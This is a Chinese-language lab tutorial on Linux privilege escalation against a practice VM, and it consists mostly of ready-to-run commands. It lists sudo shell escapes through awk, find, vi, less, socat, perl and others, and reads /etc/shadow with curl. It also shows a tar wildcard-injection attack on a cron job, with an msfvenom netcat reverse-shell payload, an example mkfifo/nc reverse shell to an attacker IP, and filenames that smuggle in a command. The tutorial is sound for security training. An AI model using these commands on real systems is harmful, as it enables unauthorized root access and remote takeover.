第一部分中将会使用到kali攻击机和linux靶机(在资源库的安全靶场类中linsec.ova中下载)
其中,靶机默认用户名:bob,密码:secret(账户权限:普通)
为了方便操作,我们使用攻击机对靶机进行ssh连接:
Linux提权
直接提权
切换到ash终端
ash(Almquist Shell)是一种轻量级的Unix/Linux命令行解释器,主要用于执行命令和管理文件系统。
使用awk命令
1
|
sudo awk 'BEGIN {system("/bin/sh")}'
|
切换到bash终端
切换到csh终端
curl读取shadow获取加密后的密码(穷举破解)
1
|
sudo curl file:///etc/shadow
|
切换到dash终端(小型设备适用)
ed文本编辑器(一次只能编辑一行)
1
2
|
sudo ed
!/bin/sh 发现输出内容和命令行类似,可以直接当作终端使用
|
env查询环境变量同时执行sh(顺手的事)
expect自动化脚本
1
|
sudo expect -c 'spawn /bin/sh;interact'
|
find查找同时执行sh(顺手的事*2)
1
|
sudo find . -exec /bin/sh \; -quit
|
ftp协议
less/more查看(顺手的事*3)
1
2
3
4
5
|
sudo less /etc/passwd
或
sudo more /etc/passwd
!/bin/sh
|
man文档查看
1
2
|
sudo man man
!/bin/sh
|
socat网络工具
1
|
sudo socat stdin exec:/bin/sh
|
ssh连接
1
|
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
|
vi文本编辑器
1
|
sudo vi -c ':!/bin/sh' /dev/null
|
切换到zsh终端
pico
1
2
3
|
sudo pico
^R^X(Ctrl+R Ctrl+X)
reset; sh 1>&0 2>&0
|
rvim文本编辑器(适用于有python3的环境)
1
|
sudo rvim -c ':python3 import os; os.excel("/bin/sh","sh","-c","reset; exec sh")'
|
perl
1
|
sudo perl -e 'exec "/bin/sh";'
|
tclsh
1
2
|
sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
|
git
1
2
|
sudo git -p help config
!/bin/sh
|
script
1
|
sudo script -q /dev/null
|
taskset
1
|
sudo taskset 1 /bin/sh -p
|
密码破解
查看/etc/passwd文件
将用户名后的密文复制到md5在线解密破解,md5解密加密进行破解
例如用户名:hello 密码:nihao(破解后)
使用su hello并输入密码来切换到这个用户权限
tar命令注入
原理:cat /etc/crontab查看自动执行的任务,因此可以将自己的木马程序替换进自动化任务当中
生成木马源代码:
1
|
msfvenom -p cmd/unix/reverse_netcat lhost=[攻击机ip] lport=[端口号] R
|
例如:mkfifo /tmp/qrmq; nc 192.168.80.133 2233 0</tmp/qrmq | /bin/sh >/tmp/qrmq 2>&1; rm /tmp/qrmq
使用echo写入代码到shell.sh并用chmod修改权限
1
|
echo "木马代码" > shell.sh && chmod +x shell.sh
|
接下来创建两个文件:
1
2
|
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
|
这两个文件使得Linux在执行原先的打包备份任务时不会将其视为文件,而是直接借助其高级权限执行木马程序代码
所以根据我们开始时分析的计划任务列表,只要每过一分钟代码就会被执行一次,启动攻击机:
等上(最多)一分钟就好了~